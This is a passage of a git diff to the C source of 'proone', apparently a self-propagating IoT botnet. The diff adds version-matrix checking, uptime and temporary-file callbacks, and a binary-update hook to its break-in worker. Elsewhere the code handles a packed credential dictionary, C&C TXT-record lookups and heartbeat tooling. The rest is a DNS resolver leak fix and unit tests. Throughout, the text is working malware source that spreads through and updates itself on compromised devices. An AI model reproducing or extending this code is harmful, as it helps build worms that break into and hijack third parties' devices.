int main (const int argc, const char **args) {
static prne_bne_vector_t ARR_VEC[] = {
PRNE_BNE_V_HTBT,
@@ -307,6 +405,10 @@ int main (const int argc, const char **args) {
param.vector.cnt = sizeof(ARR_VEC)/sizeof(prne_bne_vector_t);
param.rcb = &rcb;
param.cb.exec_name = cb_exec_name;
+ param.cb.uptime = cb_uptime;
+ param.cb.vercmp = cb_vercmp;
+ param.cb.tmpfile = cb_tmpfile;
+ param.cb.upbin = cb_upbin;
for (size_t i = 0; i < cnt; i += 1) {
prne_worker_t *w = prne_malloc(sizeof(prne_worker_t), 1);
@@ -394,5 +496,9 @@ END: // CATCH
pth_kill();
+ if (prne_nstrlen(m_upbin_path) > 0) {
+ do_run_upbin();
+ }
+
return ret;
}
diff --git a/src/proone-htbtclient.c b/src/proone-htbtclient.c
index cc3c05d..dae4734 100644
--- a/src/proone-htbtclient.c
+++ b/src/proone-htbtclient.c
@@ -2059,17 +2059,14 @@ static bool run_relay (const uint16_t msgid) {
static bool run_recv_status (const uint16_t msgid) {
prne_htbt_msg_head_t mh;
- prne_htbt_status_t st;
prne_htbt_init_msg_head(&mh);
- prne_htbt_init_status(&st);
prog_g.cmd_st.run.has_status =
recv_mh(&mh, &msgid) &&
- recv_status(&st);
+ recv_status(&prog_g.cmd_st.run.st);
prne_htbt_free_msg_head(&mh);
- prne_htbt_free_status(&st);
return prog_g.cmd_st.run.has_status;
}
@@ -2370,7 +2367,10 @@ static int cmdmain_upbin (void) {
return 1;
}
}
- if (!(run_setup(msgid) && run_recv_status(msgid))) {
+ if (!run_setup(msgid)) {
+ return 1;
+ }
+ if (!prog_g.cmd_st.run.has_status && !run_recv_status(msgid)) {
return 1;
}
diff --git a/src/proone-htbthost.c b/src/proone-htbthost.c
index fdf7c1e..4aee540 100644
--- a/src/proone-htbthost.c
+++ b/src/proone-htbthost.c
@@ -292,10 +292,17 @@ static bool parse_param (const char *arg) {
return true;
}
-static char *mktmpfile (void *ctx, size_t req_size, const mode_t mode) {
+static int mktmpfile (
+ void *ctx,
+ const int flags,
+ const mode_t mode,
+ size_t req_size,
+ char **opath)
+{
static int ctr = 0;
- char *path = NULL, *ret = NULL;
+ char *path = NULL;
int fd = -1, len;
+ bool ret = false;
len = snprintf(NULL, 0, "htbthost-tmp.%d", ctr);
if (len < 0) {
@@ -309,27 +316,33 @@ static char *mktmpfile (void *ctx, size_t req_size, const mode_t mode) {
if (len != snprintf(path, len + 1, "htbthost-tmp.%d", ctr)) {
goto END;
}
+ ctr += 1;
- fd = open(path, O_WRONLY | O_CREAT | O_TRUNC, mode);
+ fd = open(path, flags, mode);
if (fd < 0) {
goto END;
}
- fcntl(fd, F_SETFD, FD_CLOEXEC);
-
if (ftruncate(fd, (off_t)req_size) != 0) {
goto END;
}
+ ret = true;
- ret = path;
- path = NULL;
- ctr += 1;
END:
- if (path != NULL && fd >= 0) {
- unlink(path);
+ if (ret) {
+ if (opath != NULL) {
+ *opath = path;
+ path = NULL;
+ }
+ }
+ else {
+ if (fd >= 0) {
+ unlink(path);
+ }
+ prne_close(fd);
+ fd = -1;
}
prne_free(path);
- prne_close(fd);
- return ret;
+ return fd;
}
static void do_run_upbin (void) {
@@ -540,11 +553,11 @@ int main (const int argc, const char **args) {
free_htbthost_param(&htbthost_param);
regfree(&re_ns4);
regfree(&re_ns6);
+ regfree(&re_hc);
prne_free(hostcred);
if (prne_nstrlen(m_upbin_path) > 0) {
do_run_upbin();
- return 3;
}
return 0;
diff --git a/src/proone-mkdvault.c b/src/proone-mkdvault.c
index 962dcb6..1c281fa 100644
--- a/src/proone-mkdvault.c
+++ b/src/proone-mkdvault.c
@@ -142,6 +142,19 @@ static void gen_mask (uint8_t *out) {
prne_free_imap(&q);
}
+static void add_ver_mat () {
+ static uint8_t VER_MAT[] = PRNE_VER_MAT;
+ static const size_t nb_e = sizeof(VER_MAT) / 16;
+
+ prne_assert(sizeof(VER_MAT) % 16 == 0);
+ qsort(VER_MAT, nb_e, 16, prne_cmp_uuid_asc);
+
+ ENTRIES[PRNE_DATA_KEY_VER_MAT].data = VER_MAT;
+ ENTRIES[PRNE_DATA_KEY_VER_MAT].size = sizeof(VER_MAT);
+ ENTRIES[PRNE_DATA_KEY_VER_MAT].type = PRNE_DATA_TYPE_BIN;
+ ENTRIES[PRNE_DATA_KEY_VER_MAT].set = true;
+}
+
int main (const int argc, const char **args) {
int callret;
uint8_t mask[256];
@@ -189,6 +202,7 @@ int main (const int argc, const char **args) {
add_bin(PRNE_DATA_KEY_RCN_BL_IPV6, PRNE_RCN_BL_IPV6);
add_file(PRNE_DATA_KEY_CRED_DICT, args[1]);
add_cstr(PRNE_DATA_KEY_EXEC_NAME, PRNE_BNE_EXEC_NAME);
+ add_ver_mat();
pos += NB_PRNE_DATA_KEY * sizeof(uint16_t);
diff --git a/src/proone-resolv.c b/src/proone-resolv.c
index 94759b8..738827d 100644
--- a/src/proone-resolv.c
+++ b/src/proone-resolv.c
@@ -375,6 +375,8 @@ int main (void) {
}
prne_free_llist(&prm_list);
+ pth_kill();
+
if (exec_result.proc) {
if (exec_result.parse_err || exec_result.query_err) {
return 3;
diff --git a/src/proone-test_iobuf.c b/src/proone-test_iobuf.c
new file mode 100644
index 0000000..6091fce
--- /dev/null
+++ b/src/proone-test_iobuf.c
@@ -0,0 +1,23 @@
+#include "iobuf.h"
+
+#include <assert.h>
+
+
+int main (void) {
+ static const size_t FAIL_ARR0[] = { 0 };
+ static const size_t FAIL_ARR1[] = { SIZE_MAX, 0 };
+ static const size_t FAIL_ARR2[] = { SIZE_MAX, SIZE_MAX, SIZE_MAX, 0 };
+ static const size_t OK_ARR0[] = { 4096, 0 };
+ static const size_t OK_ARR1[] = { SIZE_MAX, 4096, 0 };
+ prne_iobuf_t ib;
+
+ prne_init_iobuf(&ib);
+ assert(!prne_try_alloc_iobuf(&ib, FAIL_ARR0));
+ assert(!prne_try_alloc_iobuf(&ib, FAIL_ARR1));
+ assert(!prne_try_alloc_iobuf(&ib, FAIL_ARR2));
+ assert(prne_try_alloc_iobuf(&ib, OK_ARR0));
+ assert(prne_try_alloc_iobuf(&ib, OK_ARR1));
+ prne_free_iobuf(&ib);
+
+ return 0;
+}
diff --git a/src/proone.c b/src/proone.c
index 23be2d8..574e55b 100644
--- a/src/proone.c
+++ b/src/proone.c
@@ -142,10 +142,17 @@ static bool cb_htbt_hostinfo (void *ctx, prne_htbt_host_info_t *out) {
return true;
}
-static char *cb_htbt_tmpfile (void *ctx, size_t req_size, const mode_t mode) {
+static int cb_tmpfile (
+ void *ctx,
+ const int flags,
+ const mode_t mode,
+ size_t req_size,
+ char **opath)
+{
uint8_t m[16];
- char *path = prne_alloc_str(36 + 3), *ret = NULL;
+ char *path = prne_alloc_str(36 + 3);
int fd = -1;
+ bool ret = false;
path[0] = 0;
do {
@@ -161,30 +168,35 @@ static char *cb_htbt_tmpfile (void *ctx, size_t req_size, const mode_t mode) {
prne_uuid_tostr(m, path + 3);
path[39] = 0;
- fd = open(path, O_RDWR | O_CREAT | O_TRUNC, mode);
+ fd = open(path, flags, mode);
if (fd < 0) {
break;
}
- chmod(path, mode);
if (ftruncate(fd, req_size) != 0) {
break;
}
- ret = path;
- path = NULL;
+ ret = true;
} while (false);
- if (path != NULL) {
+ if (ret) {
+ if (opath != NULL) {
+ *opath = path;
+ path = NULL;
+ }
+ }
+ else {
if (fd >= 0) {
unlink(path);
}
- prne_free(path);
+ prne_close(fd);
+ fd = -1;
}
- prne_close(fd);
- return ret;
+ prne_free(path);
+ return fd;
}
-static bool cb_htbt_upbin (
+static bool cb_upbin (
void *ctx,
const char *path,
const prne_htbt_cmd_t *cmd)
@@ -224,8 +236,8 @@ static void alloc_htbt (void) {
param.resolv = prne_g.resolv;
param.cb_f.cnc_txtrec = cb_htbt_cnc_txtrec;
param.cb_f.hostinfo = cb_htbt_hostinfo;
- param.cb_f.tmpfile = cb_htbt_tmpfile;
- param.cb_f.upbin = cb_htbt_upbin;
+ param.cb_f.tmpfile = cb_tmpfile;
+ param.cb_f.upbin = cb_upbin;
param.rcb = &prne_g.rcb_param;
param.blackhole = prne_g.blackhole[1];
@@ -1216,6 +1228,40 @@ static void bne_cb_exit_dd (void *ctx) {
prne_dvault_reset();
}
+static uint64_t bne_cb_uptime (void *ctx) {
+ return prne_sub_timespec(
+ prne_gettime(CLOCK_MONOTONIC),
+ prne_g.child_start).tv_sec;
+}
+
+static int bne_cb_vercmp (void *ctx, const uint8_t *uuid) {
+ size_t l;
+ const void *ver_mat;
+ int ret;
+
+ if (memcmp(
+ prne_dvault_get_bin(PRNE_DATA_KEY_PROG_VER, NULL),
+ uuid,
+ 16) == 0)
+ {
+ ret = 0;
+ goto END;
+ }
+
+ ver_mat = prne_dvault_get_bin(PRNE_DATA_KEY_VER_MAT, &l);
+ prne_dbgast(l % 16 == 0);
+ if (bsearch(uuid, ver_mat, l / 16, 16, prne_cmp_uuid_asc) == NULL) {
+ ret = -1;
+ }
+ else {
+ ret = 1;
+ }
+
+END:
+ prne_dvault_reset();
+ return ret;
+}
+
static char *bne_cb_exec_name (void *ctx) {
size_t dvl;
const char *dv_str;
@@ -1258,6 +1304,10 @@ static void init_bne (void) {
bne_param.cb.exec_name = bne_cb_exec_name;
bne_param.cb.enter_dd = bne_cb_enter_dd;
bne_param.cb.exit_dd = bne_cb_exit_dd;
+ bne_param.cb.uptime = bne_cb_uptime;
+ bne_param.cb.vercmp = bne_cb_vercmp;
+ bne_param.cb.tmpfile = cb_tmpfile;
+ bne_param.cb.upbin = cb_upbin;
bne_param.rcb = &prne_g.rcb_param;
bne_param.login_attempt = PRNE_BNE_LOGIN_ATTEMPT;
diff --git a/src/resolv.c b/src/resolv.c
index b7f00e7..40e789a 100644
--- a/src/resolv.c
+++ b/src/resolv.c
@@ -506,10 +506,10 @@ static bool resolv_ensure_act_dns_fd (prne_resolv_t *ctx) {
}
END:
- pth_event_free(ev, FALSE);
prne_close(pfs[0].fd);
prne_close(pfs[1].fd);
if (!ret && err_sleep != NULL) {
+ pth_event_free(ev, FALSE);
ev = pth_event(
PTH_EVENT_TIME,
pth_timeout(err_sleep->tv_sec, err_sleep->tv_nsec / 1000));
@@ -518,6 +518,7 @@ END:
pth_wait(ev);
} while (pth_event_status(ev) == PTH_STATUS_PENDING);
}
+ pth_event_free(ev, FALSE);
return ret;
}
diff --git a/src/test-resolv.sh b/src/test-resolv.sh
index c10d305..e18f72c 100755
--- a/src/test-resolv.sh
+++ b/src/test-resolv.sh
@@ -8,15 +8,15 @@ assert_ec () {
echo "OK" >&2
fi
}
-SUBJECT_EXEC="./proone-resolv"
+SUBJECT_EXEC="valgrind --leak-check=full --show-leak-kinds=all -- ./proone-resolv"
-echo "a example.com" | "$SUBJECT_EXEC"
+echo "a example.com" | $SUBJECT_EXEC
assert_ec $? 0 "Single NOERROR execution"
-echo "a example.test" | "$SUBJECT_EXEC"
+echo "a example.test" | $SUBJECT_EXEC
assert_ec $? 0 "Single NXDOMAIN execution"
-cat << EOF | "$SUBJECT_EXEC"
+cat << EOF | $SUBJECT_EXEC
; Queue more than RESOLV_PIPELINE_SIZE(4)
a example.com
aaaa example.com
@@ -31,7 +31,7 @@ aaaa www.kernel.org
EOF
assert_ec $? 0 "Queue congestion"
-cat << EOF | "$SUBJECT_EXEC"
+cat << EOF | $SUBJECT_EXEC
aaaa example.com
txt example.test
EOF
diff --git a/src/util_rt.c b/src/util_rt.c
index f440f5b..a521f3a 100644
--- a/src/util_rt.c
+++ b/src/util_rt.c
@@ -471,6 +471,13 @@ void prne_uuid_tostr (const uint8_t *in, char *out) {
out[ptr] = 0;
}
+int prne_cmp_uuid_asc (const void *a, const void *b) {
+ return memcmp(a, b, 16);
+}
+int prne_cmp_uuid_desc (const void *a, const void *b) {
+ return prne_cmp_uuid_asc(a, b) * -1;
+}
+
struct timespec prne_add_timespec (
const struct timespec a,
const struct timespec b)
diff --git a/src/util_rt.h b/src/util_rt.h
index eea3a7e..567cd4c 100644
--- a/src/util_rt.h
+++ b/src/util_rt.h
@@ -87,6 +87,9 @@ bool prne_uuid_fromstr (const char *str, uint8_t *out);
*/
void prne_uuid_tostr (const uint8_t *in, char *out);
+int prne_cmp_uuid_asc (const void *a, const void *b);
+int prne_cmp_uuid_desc (const void *a, const void *b);
+
struct timespec prne_add_timespec (
const struct timespec a,
const struct timespec b);